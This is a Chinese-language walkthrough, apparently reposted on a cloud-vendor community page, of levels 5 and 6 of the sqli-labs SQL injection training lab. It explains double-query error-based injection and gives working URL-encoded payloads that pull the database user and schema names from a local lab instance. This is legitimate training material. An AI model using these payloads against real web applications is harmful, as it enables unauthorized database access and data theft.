sqli-labs(三)

來源:互聯網
上載者:User

標籤:不能   其他   形式   use   圖片   頁面   彙總   表名   原因   

第五關:這關的重點是有聯集查詢的注入漏洞,但是頁面不會顯示查詢資訊,但是會有報錯資訊顯示在頁面上

 

這關是雙查詢注入,其實用報錯注入和盲注都是可以注入的,但是我覺得這個雙查詢注入還是很有意思的,所以這關我們還是用雙查詢注入

的流程來走。

https://www.2cto.com/article/201303/192718.html

這裡有篇文章講的很不錯了,我就不複述他的話了,裡面有一句很重要:簡單的一句話原理就是有研究人員發現,當在一個彙總函式,比如count函數後面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。

 第一步:依然是使用order by判斷表的列數

第二部:輸入

id=1‘%20union%20select%20count(*),concat((select%20user()),floor(rand()*2))%20as%20a,count(*)%20from%20information_schema.schemata%20group%20by%20a%23

 

比較長,不急,慢慢解釋:主體依然是id=1‘ union select 1,2,3 from information_schema.schemata #

只不過這裡講1,2,3分別替換成了彙總函式,然後再後面加了個group by ,至於原因就是我們上面所提到的很重要的一句話(簡單的一句話原理就是有研究人員發現,當在一個彙總函式,比如count函數後面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。)

這裡的a是我們給concat((select%20user()),floor(rand()*2))起的一個別名(利用as)

rand()取0到1的隨機值,floor()取整 ,這樣的話使用concat將子查詢(select user())的結果與0或1進行拼湊,組成xxx0或xxx1,所以結果是變化的。至於這樣做的原因是為了讓後面可以進行分組(也就是可以使用group by)。

現在知道整句話的意思後就可以進行後面的操作了,只需要將子查詢換成其他的查詢操作。

第三步:查詢出所有的資料庫名

http://localhost/sqli-labs-master/Less-5/
?id=1‘%20union%20select%20count(*),concat((select%20schema_name%20from%20information_schema.schemata%20limit%201,1),floor(rand()*2))%20as%20a,count(*)%20from%20information_schema.schemata%20group%20by%20a%23

值得注意的是,子查詢中不能使用group_concat了,不然就不會報錯了,只能使用limit 來一行一行的查詢

 

後面的查詢表名,欄位名以及資料內容的步驟我就不進行了,和前面幾關一樣

 

第六關:

和第五關是一樣的,只不過將單引號換成了雙引號

 

sqli-labs(三)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.